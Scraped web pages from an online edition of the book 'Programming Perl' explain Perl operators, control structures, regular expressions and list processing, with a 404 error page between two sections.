$a % $b | Modulus | Remainder of $a divided by $b
$a ** $b | Exponentiation | $a to the power of $b

Yes, we left subtraction and division out of Table 1.2. But we suspect you can figure out how they should work. Try them and see if you're right. (Or cheat and look in the index.) Arithmetic operators are evaluated in the order your math teacher taught you (exponentiation before multiplication, and multiplication before addition). You can always use parentheses to make it come out differently.

1.5.2 String Operators

There is also an "addition" operator for strings that does concatenation. Unlike some languages that confuse this with numeric addition, Perl defines a separate operator (.) for string concatenation:

$a = 123;
$b = 456;
print $a + $b;     # prints 579
print $a . $b;     # prints 123456

There's also a "multiply" operation for strings, also called the repeat operator. Again, it's a separate operator (x) to keep it distinct from numeric multiplication:

$a = 123;
$b = 3;
print $a * $b;     # prints 369
print $a x $b;     # prints 123123123

These string operators bind as tightly as their corresponding arithmetic operators. The repeat operator is a bit unusual in taking a string for its left argument but a number for its right argument. Note also how Perl is automatically converting from numbers to strings. You could have put all the literal numbers above in quotes, and it would still have produced the same output. Internally though, it would have been converting in the opposite direction (that is, from strings to numbers).

A couple more things to think about. String concatenation is also implied by the interpolation that happens in double-quoted strings. When you print out a list of values, you're also effectively concatenating strings. So the following three statements produce the same output:

print $a . ' is equal to ' . $b . "\n";    # dot operator
print $a, ' is equal to ', $b, "\n";       # list
print "$a is equal to $b\n";               # interpolation

Which of these you use in any particular situation is entirely up to you.

The x operator may seem relatively worthless at first glance, but it is quite useful at times, especially for things like this:

print "-" x $scrwid, "\n";

which draws a line across your screen, presuming your screen width is in $scrwid.

1.5.3 Assignment Operators

Although it's not exactly a mathematical operator, we've already made extensive use of the simple assignment operator, =. Try to remember that = means "gets set to" rather than "equals". (There is also a mathematical equality operator == that means "equals", and if you start out thinking about the difference between them now, you'll save yourself a lot of headache later.)

Like the operators above, assignment operators are binary infix operators, which means they have an operand on either side of the operator. The right operand can be any expression you like, but the left operand must be a valid lvalue (which, when translated to English, means a valid storage location like a variable, or a location in an array). The most common assignment operator is simple assignment. It determines the value of the expression on its right side, and sets the variable on the left side to that value:

$a = $b;
$a = $b + 5;
$a = $a * 3;

Notice the last assignment refers to the same variable twice; once for the computation, once for the assignment. There's nothing wrong with that, but it's a common enough operation that there's a shortcut for it (borrowed from C). If you say:

lvalue operator= expression

it is evaluated as if it were:

lvalue = lvalue operator expression

except that the lvalue is not computed twice. (This only makes a difference if evaluation of the lvalue has side effects. But when it does make a difference, it usually does what you want. So don't sweat it.)

So, for example, you could write the above as:

$a *= 3;

which reads "multiply $a by 3". You can do this with almost any binary operator in Perl, even some that you can't do it with in C:

$line .= "\n";  # Append newline to $line.
$fill x= 80;    # Make string $fill into 80 repeats of itself.
$val ||= "2";   # Set $val to 2 if it isn't already set.

Line 6 of our grade example contains two string concatenations, one of which is an assignment operator. And line 14 contains a +=.

Regardless of which kind of assignment operator you use, the final value is returned as the value of the assignment as a whole. (This is unlike, say, Pascal, in which assignment is a statement and has no value.) This is why we could say:

chop($number = <STDIN>);

and have it chop the final value of $number. You also frequently see assignment as the condition of a while loop, as in line 4 of our grade example.

1.5.4 Autoincrement and Autodecrement Operators

As if $variable += 1 weren't short enough, Perl borrows from C an even shorter way to increment a variable. The autoincrement and autodecrement operators simply add (or subtract) one from the value of the variable. They can be placed on either side of the variable, depending on when you want them to be evaluated (see Table 1.3).

Table 1.3: Unary Arithmetic Operators
Example | Name | Result
++$a, $a++ | Autoincrement | Add 1 to $a
--$a, $a-- | Autodecrement | Subtract 1 from $a

If you place one of the auto operators before the variable, it is known as a pre-incremented (pre-decremented) variable. Its value will be changed before it is referenced. If it is placed after the variable, it is known as a post-incremented (post-decremented) variable and its value is changed after it is used. For example:

$a = 5;        # $a is assigned 5
$b = ++$a;     # $b is assigned the incremented value of $a, 6
$c = $a--;     # $c is assigned 6, then $a is decremented to 5

Line 15 of our grade example increments the number of scores by one, so that we'll know how many scores we're averaging the grade over. It uses a post-increment operator ($scores++), but in this case it doesn't matter, since the expression is in a void context, which is just a funny way of saying that the expression is being evaluated only for the side effect of incrementing the variable. The value returned is being thrown away.[21]

[21] The optimizer will notice this and optimize the post-increment into a pre-increment, because that's a little more efficient to execute. (You didn't need to know that, but we hoped it would cheer you up.)

1.5.5 Logical Operators

Logical operators, also known as "short-circuit" operators, allow the program to make decisions based on multiple criteria, without using nested conditionals. They are known as short-circuit because they skip evaluating their right argument if evaluating their left argument is sufficient to determine the overall value.

Perl actually has two sets of logical operators, a crufty old set borrowed from C, and a nifty new set of ultralow-precedence operators that parse more like people expect them to parse, and are also easier to read. (Once they're parsed, they behave identically though.) See Table 1.4 for examples of logical operators.

Table 1.4: Logical Operators
Example | Name | Result
$a && $b | And | $a if $a is false, $b otherwise
$a || $b | Or | $a if $a is true, $b otherwise
! $a | Not | True if $a is not true
$a and $b | And | $a if $a is false, $b otherwise
$a or $b | Or | $a if $a is true, $b otherwise
not $a | Not | True if $a is not true

Since the logical operators "short circuit" the way they do, they're often used to conditionally execute code. The following line (from our grade example) tries to open the file grades.

open(GRADES, "grades") or die "Can't open file grades: $!\n";

If it opens the file, it will jump to the next line of the program. If it can't open the file, it will provide us with an error message and then stop execution.

Literally, the above message means "Open grades or die!" Besides being another example of natural language, the short-circuit operators preserve the visual flow. Important actions are listed down the left side of the screen, and secondary actions are hidden off to the right. (The $! variable contains the error message returned by the operating system - see "Special Variables" in Chapter 2). Of course, these logical operators can also be used within the more traditional kinds of conditional constructs, such as the if and while statements.

1.5.6 Comparison Operators

Comparison, or relational, operators tell us how two scalar values (numbers or strings) relate to each other. There are two sets of operators - one does numeric comparison and the other does string comparison. (In either case, the arguments will be "coerced" to have the appropriate type first.) Table 1.5 assumes $a and $b are the left and right arguments, respectively.

Table 1.5: Some Numeric and String Comparison Operators
Comparison | Numeric | String | Return Value
Equal | == | eq | True if $a is equal to $b
Not equal | != | ne | True if $a is not equal to $b
Less than | < | lt | True if $a is less than $b
Greater than | > | gt | True if $a is greater than $b
Less than or equal | <= | le | True if $a not greater than $b
Comparison | <=> | cmp | 0 if equal, 1 if $a greater, -1 if $b greater

The last pair of operators (<=> and cmp) are entirely redundant. However, they're incredibly useful in sort subroutines (see Chapter 3).[22]

[22] Some folks feel that such redundancy is evil because it keeps a language from being minimalistic, or orthogonal. But Perl isn't an orthogonal language; it's a diagonal language. By which we mean that Perl doesn't force you to always go at right angles. Sometimes you just want to follow the hypotenuse of the triangle to get where you're going. TMTOWTDI is about shortcuts. Shortcuts are about efficiency.

1.5.7 File Test Operators

The file test operators allow you to test whether certain file attributes are set before you go and blindly muck about with the files. For example, it would be very nice to know that the file /etc/passwd already exists before you go and open it as a new file, wiping out everything that was in there before. See Table 1.6 for examples of file test operators.

Table 1.6: Some File Test Operators
Example | Name | Result
-e $a | Exists | True if file named in $a exists
-r $a | Readable | True if file named in $a is readable
-w $a | Writable | True if file named in $a is writable
-d $a | Directory | True if file named in $a is a directory
-f $a | File | True if file named in $a is a regular file
-T $a | Text File | True if file named in $a is a text file

Here are some examples:

-e "/usr/bin/perl" or warn "Perl is improperly installed\n";
-f "/vmunix" and print "Congrats, we seem to be running BSD Unix\n";

Note that a regular file is not the same thing as a text file. Binary files like /vmunix are regular files, but they aren't text files. Text files are the opposite of binary files, while regular files are the opposite of irregular files like directories and devices.

There are a lot of file test operators, many of which we didn't list. Most of the file tests are unary Boolean operators: they take only one operand, a scalar that evaluates to a file or a filehandle, and they return either a true or false value. A few of them return something fancier, like the file's size or age, but you can look those up when you need them.

Previous: 1.4 Filehandles | Programming Perl | Next: 1.6 Control Structures
1.4 Filehandles | Book Index | 1.6 Control Structures


[Chapter 1] 1.6 Control Structures

Programming PerlSearch this book

1.6 Control Structures

So far, except for our one large example, all of our examples have been completely linear; we executed each command in order. We've seen a few examples of using the short circuit operators to cause a single command to be (or not to be) executed. While you can write some very useful linear programs (a lot of CGI scripts fall into this category), you can write much more powerful programs if you have conditional expressions and looping mechanisms. Collectively, these are known as control structures. So you can also think of Perl as a control language.

But to have control, you have to be able to decide things, and to decide things, you have to know the difference between what's true and what's false.

1.6.1 What Is Truth?

We've bandied about the term truth,[23] and we've mentioned that certain operators return a true or a false value. Before we go any further, we really ought to explain exactly what we mean by that. Perl treats truth a little differently than most computer languages, but after you've worked with it awhile it will make a lot of sense. (Actually, we're hoping it'll make a lot of sense after you've read the following.)

[23] Strictly speaking, this is not true.

Basically, Perl holds truths to be self-evident. That's a glib way of saying that you can evaluate almost anything for its truth value. Perl uses practical definitions of truth that depend on the type of thing you're evaluating. As it happens, there are many more kinds of truth than there are of nontruth.

Truth in Perl is always evaluated in a scalar context. (Other than that, no type coercion is done.) So here are the rules for the various kinds of values that a scalar can hold:

  1. Any string is true except for "" and "0".

  2. Any number is true except for 0.

  3. Any reference is true.

  4. Any undefined value is false.

Actually, the last two rules can be derived from the first two. Any reference (rule 3) points to something with an address, and would evaluate to a number or string containing that address, which is never 0. And any undefined value (rule 4) would always evaluate to 0 or the null string.

And in a way, you can derive rule 2 from rule 1 if you pretend that everything is a string. Again, no coercion is actually done to evaluate truth, but if a coercion to string were done, then any numeric value of 0 would simply turn into the string "0", and be false. Any other number would not turn into the string "0", and so would be true. Let's look at some examples so we can understand this better:

0          # would become the string "0", so false
1          # would become the string "1", so true
10 - 10    # 10-10 is 0, would convert to string "0", so false
0.00       # becomes 0, would convert to string "0", so false
"0"        # the string "0", so false
""         # a null string, so false
"0.00"     # the string "0.00", neither empty nor exactly "0", so true
"0.00" + 0 # the number 0 (coerced by the +), so false.
\$a        # a reference to $a, so true, even if $a is false
undef()    # a function returning the undefined value, so false

Since we mumbled something earlier about truth being evaluated in a scalar context, you might be wondering what the truth value of a list is. Well, the simple fact is, there is no operation in Perl that will return a list in a scalar context. They all return a scalar value instead, and then you apply the rules of truth to that scalar. So there's no problem, as long as you can figure out what any given operator will return in a scalar context.

1.6.1.1 The if and unless statements

We saw earlier how a logic operator could function as a conditional. A slightly more complex form of the logic operators is the if statement. The if statement evaluates a truth condition, and executes a block if the condition is true.

A block is one or more statements grouped together by a set of braces. Since the if statement executes a block, the braces are required by definition. If you know a language like C, you'll notice that this is different. Braces are optional in C if you only have a single line of code, but they are not optional in Perl.

if ($debug_level > 0) {
    # Something has gone wrong.  Tell the user.
    print "Debug: Danger, Will Robinson, danger!\n";
    print "Debug: Answer was '54', expected '42'.\n";
}

Sometimes, just executing a block when a condition is met isn't enough. You may also want to execute a different block if that condition isn't met. While you could certainly use two if statements, one the negation of the other, Perl provides a more elegant solution. After the block, if can take an optional second condition, called else, to be executed only if the truth condition is false. (Veteran computer programmers will not be surprised at this point.)

Other times, you may even have more than two possible choices. In this case, you'll want to add an elsif truth condition for the other possible choices. (Veteran computer programmers may well be surprised by the spelling of "elsif", for which nobody here is going to apologize. Sorry.)

if ($city eq "New York") {
    print "New York is northeast of Washington, D.C.\n";
}
elsif ($city eq "Chicago") {
    print "Chicago is northwest of Washington, D.C.\n";
}
elsif ($city eq "Miami") {
    print "Miami is south of Washington, D.C.  And much warmer!\n";
}
else {
    print "I don't know where $city is, sorry.\n";
}

The if and elsif clauses are each computed in turn, until one is found to be true or the else condition is reached. When one of the conditions is found to be true, its block is executed and all the remaining branches are skipped. Sometimes, you don't want to do anything if the condition is true, only if it is false. Using an empty if with an else may be messy, and a negated if may be illegible; it sounds weird to say "do something if not this is true". In these situations, you would use the unless statement.

unless ($destination eq $home) {
    print "I'm not going home.\n";
}

There is no "elsunless" though. This is generally construed as a feature.

1.6.2 Iterative (Looping) Constructs

Perl has four main iterative statement types: while, until, for, and foreach. These statements allow a Perl program to repeatedly execute the same code for different values.

1.6.2.1 The while and until statements

The while and until statements function similarly to the if and unless statements, in a looping fashion. First, the conditional part of the statement is checked. If the condition is met (if it is true for a while or false for an until) the block of the statement is executed.

while ($tickets_sold < 10000) {
    $available = 10000 - $tickets_sold;
    print "$available tickets are available.  How many would you like: ";
    $purchase = <STDIN>;
    chomp($purchase);
    $tickets_sold += $purchase;
}

Note that if the original condition is never met, the loop will never be entered at all. For example, if we've already sold 10,000 tickets, we might want to have the next line of the program say something like:

print "This show is sold out, please come back later.\n";

In our grade example earlier, line 4 reads:

while ($line = <GRADES>) {

This assigns the next line to the variable $line, and as we explained earlier, returns the value of $line so that the condition of the while statement can evaluate $line for truth. You might wonder whether Perl will get a false negative on blank lines and exit the loop prematurely. The answer is that it won't. The reason is clear, if you think about everything we've said. The line input operator leaves the newline on the end of the string, so a blank line has the value "\n". And you know that "\n" is not one of the canonical false values. So the condition is true, and the loop continues even on blank lines.

On the other hand, when we finally do reach the end of the file, the line input operator returns the undefined value, which always evaluates to false. And the loop terminates, just when we wanted it to. There's no need for an explicit test against the eof function in Perl, because the input operators are designed to work smoothly in a conditional context.

In fact, almost everything is designed to work smoothly in a conditional context. For instance, an array in a scalar context returns its length. So you often see:

while (@ARGV) {
    process(shift @ARGV);
}

The loop automatically exits when @ARGV is exhausted.

1.6.2.2 The for statement

Another iterative statement is the for loop. A for loop runs exactly like the while loop, but looks a good deal different. (C programmers will find it very familiar though.)

for ($sold = 0; $sold < 10000; $sold += $purchase) {
    $available = 10000 - $sold;
    print "$available tickets are available.  How many would you like: ";
    $purchase = <STDIN>;
    chomp($purchase);
}

The for loop takes three expressions within the loop's parentheses: an expression to set the initial state of the loop variable, a condition to test the loop variable, and an expression to modify the state of the loop variable. When the loop starts, the initial state is set and the truth condition is checked. If the condition is true, the block is executed. When the block finishes, the modification expression is executed, the truth condition is again checked, and if true, the block is rerun with the new values. As long as the truth condition remains true, the block and the modification expression will continue to be executed.

1.6.2.3 The foreach statement

The last of Perl's main iterative statements is the foreach statement. foreach is used to execute the same code for each of a known set of scalars, such as an array:

foreach $user (@users) {
    if (-f "$home{$user}/.nexrc") {
        print "$user is cool... they use a perl-aware vi!\n";
    }
}

In a foreach statement, the expression in parentheses is evaluated to produce a list. Then each element of the list is aliased to the loop variable in turn, and the block of code is executed once for each element. Note that the loop variable becomes a reference to the element itself, rather than a copy of the element. Hence, modifying the loop variable will modify the original array.

You find many more foreach loops in the typical Perl program than for loops, because it's very easy in Perl to generate the lists that foreach wants to iterate over. A frequently seen idiom is a loop to iterate over the sorted keys of a hash:

foreach $key (sort keys %hash) {

In fact, line 9 of our grade example does precisely that.

1.6.2.4 Breaking out: next and last

The next and last operators allow you to modify the flow of your loop. It is not at all uncommon to have a special case; you may want to skip it, or you may want to quit when you encounter it. For example, if you are dealing with UNIX accounts, you may want to skip the system accounts (like root or lp). The next operator would allow you to skip to the end of your current loop iteration, and start the next iteration. The last operator would allow you to skip to the end of your block, as if your test condition had returned false. This might be useful if, for example, you are looking for a specific account and want to quit as soon as you find it.

foreach $user (@users) {
    if ($user eq "root" or $user eq "lp") {
        next;
    }
    if ($user eq "special") {
        print "Found the special account.\n";
        # do some processing
        last;
    }
}

It's possible to break out of multi-level loops by labeling your loops and specifying which loop you want to break out of. Together with statement modifiers (another form of conditional we haven't talked about), this can make for very readable loop exits, if you happen to think English is readable:

LINE: while ($line = <ARTICLE>) {
    last LINE if $line eq "\n"; # stop on first blank line
    next LINE if $line =~ /^#/; # skip comment lines
    # your ad here
}

You may be saying, "Wait a minute, what's that funny ^# thing there inside the leaning toothpicks? That doesn't look much like English." And you're right. That's a pattern match containing a regular expression (albeit a rather simple one). And that's what the next section is about. Perl is above all a text processing language, and regular expressions are at the heart of Perl's text processing.

Previous: 1.5 Operators | Programming Perl | Next: 1.7 Regular Expressions
1.5 Operators | Book Index | 1.7 Regular Expressions


[Chapter 1] 1.7 Regular Expressions

Programming PerlSearch this book

1.7 Regular Expressions

Regular expressions (aka regexps, regexes or REs) are used by many UNIX programs, such as grep, sed and awk,[24] editors like vi and emacs, and even some of the shells. A regular expression is a way of describing a set of strings without having to list all the strings in your set.

[24] A good source of information on regular expression concepts is the Nutshell Handbook sed & awk by Dale Dougherty (O'Reilly & Associates). You might also keep an eye out for Jeffrey Friedl's forthcoming book, Mastering Regular Expressions (O'Reilly & Associates).

Regular expressions are used several ways in Perl. First and foremost, they're used in conditionals to determine whether a string matches a particular pattern. So when you see something that looks like /foo/, you know you're looking at an ordinary pattern-matching operator.

Second, if you can locate patterns within a string, you can replace them with something else. So when you see something that looks like s/foo/bar/, you know it's asking Perl to substitute "bar" for "foo", if possible. We call that the substitution operator.

Finally, patterns can specify not only where something is, but also where it isn't. So the split operator uses a regular expression to specify where the data isn't. That is, the regular expression defines the delimiters that separate the fields of data. Our grade example has a couple of trivial examples of this. Lines 5 and 12 each split strings on the space character in order to return a list of words. But you can split on any delimiter you can specify with a regular expression.

(There are various modifiers you can use in each of these situations to do exotic things like ignore case when matching alphabetic characters, but these are the sorts of gory details that we'll cover in Chapter 2.)

The simplest use of regular expressions is to match a literal expression. In the case of the splits we just mentioned, we matched on a single space. But if you match on several characters in a row, they all have to match sequentially. That is, the pattern looks for a substring, much as you'd expect. Let's say we want to show all the lines of an HTML file that are links to other HTML files (as opposed to FTP links). Let's imagine we're working with HTML for the first time, and we're being a little naive yet. We know that these links will always have "http:" in them somewhere. We could loop through our file with this:[25]

[25] This is very similar to what the UNIX command grep 'http:' file would do. On MS-DOS you could use the find command, but it doesn't know how to do more complicated regular expressions. (However, the misnamed findstr program of Windows NT does know about regular expressions.)

while ($line = <FILE>) {
    if ($line =~ /http:/) {
        print $line;
    }
}

Here, the =~ (pattern binding operator) is telling Perl to look for a match of the regular expression http: in the variable $line. If it finds the expression, the operator returns a true value and the block (a print command) is executed. By the way, if you don't use the =~ binding operator, then Perl will search a default variable instead of $line. This default space is really just a special variable that goes by the odd name of $_. In fact, many of the operators in Perl default to using the $_ variable, so an expert Perl programmer might write the above as:

while (<FILE>) {
    print if /http:/;
}

(Hmm, another one of those statement modifiers seems to have snuck in there. Insidious little beasties.)

This stuff is pretty handy, but what if we wanted to find all the links, not just the HTTP links? We could give a list of links, like "http:", "ftp:", "mailto:", and so on. But that list could get long, and what would we do when a new kind of link was added?

while (<FILE>) {
    print if /http:/;
    print if /ftp:/;
    print if /mailto:/;
    # What next?
}

Since regular expressions are descriptive of a set of strings, we can just describe what we are looking for: a number of alphabetic characters followed by a colon. In regular expression talk (Regexpese?), that would be /[a-zA-Z]+:/, where the brackets define a character class. The a-z and A-Z represent all alphabetic characters (the dash means the range of all characters between the starting and ending character, inclusive). And the + is a special character which says "one or more of whatever was before me". It's what we call a quantifier, meaning a gizmo that says how many times something is allowed to repeat. (The slashes aren't really part of the regular expression, but rather part of the pattern match operator. The slashes are acting like quotes that just happen to contain a regular expression.)

Because certain classes like the alphabetics are so commonly used, Perl defines special cases for them. See Table 1.7 for these special cases.

Table 1.7: Regular Expression Character Classes
Name | Definition | Code
Whitespace | [ \t\n\r\f] | \s
Word character | [a-zA-Z_0-9] | \w
Digit | [0-9] | \d

Note that these match single characters. A \w will match any single word character, not an entire word. (Remember that + quantifier? You can say \w+ to match a word.) Perl also provides the negation of these classes by using the uppercased character, such as \D for a non-digit character.

(We should note that \w is not always equivalent to [a-zA-Z_0-9]. Some locales define additional alphabetic characters outside the ASCII sequence, and \w respects them.)

There is one other very special character class, written with a ".", that will match any character whatsoever.[26] For example, /a./ will match any string containing an "a" that is not the last character in the string. Thus it will match "at" or "am" or even "a+", but not "a", since there's nothing after the "a" for the dot to match. Since it's searching for the pattern anywhere in the string, it'll match "oasis" and "camel", but not "sheba". It matches "caravan" on the first "a". It could match on the second "a", but it stops after it finds the first suitable match, searching from left to right.

[26] Except that it won't normally match a newline. When you think about it, a "." doesn't normally match a newline in grep(1) either.

1.7.1 Quantifiers

The characters and character classes we've talked about all match single characters. We mentioned that you could match multiple "word" characters with \w+ in order to match an entire word. The + is one kind of quantifier, but there are others. (All of them are placed after the item being quantified.)

The most general form of quantifier specifies both the minimum and maximum number of times an item can match. You put the two numbers in braces, separated by a comma. For example, if you were trying to match North American phone numbers, /\d{7,11}/ would match at least seven digits, but no more than eleven digits. If you put a single number in the braces, the number specifies both the minimum and the maximum; that is, the number specifies the exact number of times the item can match. (If you think about it, all unquantified items have an implicit {1} quantifier.)

If you put the minimum and the comma but omit the maximum, then the maximum is taken to be infinity. In other words, it will match at least the minimum number of times, plus as many as it can get after that. For example, /\d{7}/ will only match a local (North American) phone number (7 digits), while /\d{7,}/ will match any phone number, even an international one (unless it happens to be shorter than 7 digits). There is no special way of saying "at most" a certain number of times. Just say /.{0,5}/, for example, to find at most five arbitrary characters.

Certain combinations of minimum and maximum occur frequently, so Perl defines special quantifiers for them. We've already seen +, which is the same as {1,}, or "at least one of the preceding item". There is also *, which is the same as {0,}, or "zero or more of the preceding item", and ?, which is the same as {0,1}, or "zero or one of the preceding item" (that is, the preceding item is optional).

There are a couple things about quantification that you need to be careful of. First of all, Perl quantifiers are by default greedy. This means that they will attempt to match as much as they can as long as the entire expression still matches. For example, if you are matching /\d+/ against "1234567890", it will match the entire string. This is something to especially watch out for when you are using ".", any character. Often, someone will have a string like:

spp:Fe+H20=FeO2;H:2112:100:Stephen P Potter:/home/spp:/bin/tcsh

and try to match "spp:" with /.+:/. However, since the + quantifier is greedy, this pattern will match everything up to and including "/home/spp:". Sometimes you can avoid this by using a negated character class, that is, by saying /[^:]+:/, which says to match one or more non-colon characters (as many as possible), up to the first colon. It's that little caret in there that negates the sense of the character class.[27] The other point to be careful about is that regular expressions will try to match as early as possible. This even takes precedence over being greedy. Since scanning happens left-to-right, this means that the pattern will match as far left as possible, even if there is some other place where it could match longer. (Regular expressions are greedy, but they aren't into delayed gratification.) For example, suppose you're using the substitution command (s///) on the default variable space (variable $_, that is), and you want to remove a string of x's from the middle of the string. If you say:

[27] Sorry, we didn't pick that notation, so don't blame us. That's just how regular expressions are customarily written in UNIX culture.

$_ = "fred xxxxxxx barney";
s/x*//;

it will have absolutely no effect. This is because the x* (meaning zero or more "x" characters) will be able to match the "nothing" at the beginning of the string, since the null string happens to be zero characters wide and there's a null string just sitting there plain as day before the "f" of "fred".[28]

[28] Even the authors get caught by this from time to time.

There's one other thing you need to know. By default quantifiers apply to a single preceding character, so /bam{2}/ will match "bamm" but not "bambam". To apply a quantifier to more than one character, use parentheses. So to match "bambam", use the pattern /(bam){2}/.

1.7.2 Minimal Matching

If you were using an ancient version of Perl and you didn't want greedy matching, you had to use a negated character class. (And really, you were still getting greedy matching of a constrained variety.)

In modern versions of Perl, you can force nongreedy, minimal matching by use of a question mark after any quantifier. Our same username match would now be /.*?:/. That .*? will now try to match as few characters as possible, rather than as many as possible, so it stops at the first colon rather than the last.

1.7.3 Nailing Things Down

Whenever you try to match a pattern, it's going to try to match in every location till it finds a match. An anchor allows you to restrict where the pattern can match. Essentially, an anchor is something that matches a "nothing", but a special kind of nothing that depends on its surroundings. You could also call it a rule, or a constraint, or an assertion. Whatever you care to call it, it tries to match something of zero width, and either succeeds or fails. (If it fails, it merely means that the pattern can't match that particular way. The pattern will go on trying to match some other way, if there are any other ways to try.)

The special character string \b matches at a word boundary, which is defined as the "nothing" between a word character (\w) and a non-word character (\W), in either order. (The characters that don't exist off the beginning and end of your string are considered to be non-word characters.) For example,

/\bFred\b/

would match both "The Great Fred" and "Fred the Great", but would not match "Frederick the Great" because the "de" in "Frederick" does not contain a word boundary.

In a similar vein, there are also anchors for the beginning of the string and the end of the string. If it is the first character of a pattern, the caret (^) matches the "nothing" at the beginning of the string. Therefore, the pattern /^Fred/ would match "Frederick the Great" and not "The Great Fred", whereas /Fred^/ wouldn't match either. (In fact, it doesn't even make much sense.) The dollar sign ($) works like the caret, except that it matches the "nothing" at the end of the string instead of the beginning.[29]

[29] This is a bit oversimplified, since we're assuming here that your string contains only one line. ^ and $ are actually anchors for the beginnings and endings of lines rather than strings. We'll try to straighten this all out in Chapter 2 (to the extent that it can be straightened out).

So now you can probably figure out that when we said:

next LINE if $line =~ /^#/;

we meant "Go to the next iteration of LINE loop if this line happens to begin with a # character."

1.7.4 Backreferences

We mentioned earlier that you can use parentheses to group things for quantifiers, but you can also use parentheses to remember bits and pieces of what you matched. A pair of parentheses around a part of a regular expression causes whatever was matched by that part to be remembered for later use. It doesn't change what the part matches, so /\d+/ and /(\d+)/ will still match as many digits as possible, but in the latter case they will be remembered in a special variable to be backreferenced later.

How you refer back to the remembered part of the string depends on where you want to do it from. Within the same regular expression, you use a backslash followed by an integer. The integer corresponding to a given pair of parentheses is determined by counting left parentheses from the beginning of the pattern, starting with one. So for example, to match something similar to an HTML tag (like "<B>Bold</B>", you might use /<(.*?)>.*?<\/\1>/. This forces the two parts of the pattern to match the exact same string, such as the "B" above.

Outside the regular expression itself, such as in the replacement part of a substitution, the special variable is used as if it were a normal scalar variable named by the integer. So, if you wanted to swap the first two words of a string, for example, you could use:

s/(\S+)\s+(\S+)/$2 $1/

The right side of the substitution is really just a funny kind of double-quoted string, which is why you can interpolate variables there, including backreference variables. This is a powerful concept: interpolation (under controlled circumstances) is one of the reasons Perl is a good text-processing language. The other reason is the pattern matching, of course. Regular expressions are good for picking things apart, and interpolation is good for putting things back together again. Perhaps there's hope for Humpty Dumpty after all.

Previous: 1.6 Control Structures | Programming Perl | Next: 1.8 List Processing
1.6 Control Structures | Book Index | 1.8 List Processing


[Chapter 1] 1.8 List Processing

Programming PerlSearch this book

1.8 List Processing

Much earlier in this chapter, we mentioned that Perl has two main contexts, scalar context (for dealing with singular things) and list context (for dealing with plural things). Many of the traditional operators we've described so far have been strictly scalar in their operation. They always take singular arguments (or pairs of singular arguments for binary operators), and always produce a singular result, even in a list context. So if you write this:

@array = (1 + 2, 3 - 4, 5 * 6, 7 / 8);

you know that the list on the right side contains exactly four values, because the ordinary math operators always produce scalar values, even in the list context provided by the assignment to an array.

However, other Perl operators can produce either a scalar or a list value, depending on their context. They just "know" whether a scalar or a list is expected of them. But how will you know that? It turns out to be pretty easy to figure out, once you get your mind around a few key concepts.

First, list context has to be provided by something in the "surroundings". In the example above, the list assignment provides it. If you look at the various syntax summaries scattered throughout Chapter 2 and Chapter 3, you'll see various operators that are defined to take a LIST as an argument. Those are the operators that provide a list context. Throughout this book, LIST is used as a specific technical term to mean "a syntactic construct that provides a list context". For example, if you look up sort, you'll find the syntax summary:

sort LIST

That means that sort provides a list context to its arguments.

Second, at compile time, any operator that takes a LIST provides a list context to each syntactic element of that LIST. So every top-level operator or entity in the LIST knows that it's supposed to produce the best list it knows how to produce. This means that if you say:

sort @guys, @gals, other();

then each of @guys, @gals, and other() knows that it's supposed to produce a list value.

Finally, at run-time, each of those LIST elements produces its list in turn, and then (this is important) all the separate lists are joined together, end to end, into a single list. And that squashed-flat, one-dimensional list is what is finally handed off to the function that wanted a LIST in the first place. So if @guys contains (Fred,Barney), @gals contains (Wilma,Betty), and the other() function returns the single-element list (Dino), then the LIST that sort sees is

(Fred,Barney,Wilma,Betty,Dino)

and the LIST that sort returns is

(Barney,Betty,Dino,Fred,Wilma)

Some operators produce lists (like keys), some consume them (like print), and some transform lists into other lists (like sort). Operators in the last category can be considered filters; only, unlike in the shell, the flow of data is from right to left, since list operators operate on their arguments passed in from the right. You can stack up several list operators in a row:

print reverse sort map {lc} keys %hash;

That takes the keys of %hash and returns them to the map function, which lowercases all the keys by applying the lc operator to each of them, and passes them to the sort function, which sorts them, and passes them to the reverse function, which reverses the order of the list elements, and passes them to the print function, which prints them.

As you can see, that's much easier to describe in Perl than in English.

Previous: 1.7 Regular Expressions | Programming Perl | Next: 1.9 What You Don't Know Won't Hurt You (Much)
1.7 Regular Expressions | Book Index | 1.9 What You Don't Know Won't Hurt You (Much)


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/ch01_09.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


[Chapter 2] The Gory Details

Programming PerlSearch this book
Previous: 1.9 What You Don't Know Won't Hurt You (Much) Chapter 2 Next: 2.2 Built-in Data Types

2. The Gory Details

Contents:
Lexical Texture
Built-in Data Types
Terms
Pattern Matching
Operators
Statements and Declarations
Subroutines
Formats
Special Variables

This chapter describes in detail the syntax and semantics of a Perl program. Individual Perl functions are described in Chapter 3, Functions, and certain specialized topics such as References and Objects are deferred to later chapters.

For the most part, this chapter is organized from small to large. That is, we take a bottom-up approach. The disadvantage is that you don't necessarily get the Big Picture before getting lost in a welter of details. But the advantage is that you can understand the examples as we go along. (If you're a top-down person, just turn the book over and read the chapter backward.)

2.1 Lexical Texture

Perl is, for the most part, a free-form language. The main exceptions to this are format declarations and quoted strings, because these are in some senses literals. Comments are indicated by the # character and extend to the end of the line.

Perl is defined in terms of the ASCII character set. However, string literals may contain characters outside of the ASCII character set, and the delimiters you choose for various quoting mechanisms may be any non-alphanumeric, non-whitespace character.

Whitespace is required only between tokens that would otherwise be confused as a single token. All whitespace is equivalent for this purpose. A comment counts as whitespace. Newlines are distinguished from spaces only within quoted strings, and in formats and certain line-oriented forms of quoting.

One other lexical oddity is that if a line begins with = in a place where a statement would be legal, Perl ignores everything from that line down to the next line that says =cut. The ignored text is assumed to be POD, or plain old documentation. (The Perl distribution has programs that will turn POD commentary into manpages, LaTeX, or HTML documents.)

Previous: 1.9 What You Don't Know Won't Hurt You (Much) | Programming Perl | Next: 2.2 Built-in Data Types
1.9 What You Don't Know Won't Hurt You (Much) | Book Index | 2.2 Built-in Data Types


[Chapter 2] 2.2 Built-in Data Types

Programming PerlSearch this book

2.2 Built-in Data Types

Computer languages vary in how many and what kinds of data types they provide at compile time. Unlike some commonly used languages that provide many types for similar kinds of values, Perl provides just a few built-in data types. (You can, however, define fancy dynamic types via the object-oriented features of Perl - see Chapter 5, Packages, Modules, and Object Classes.) Perl has three basic data types: scalars, arrays of scalars, and hashes of scalars, also known as associative arrays.

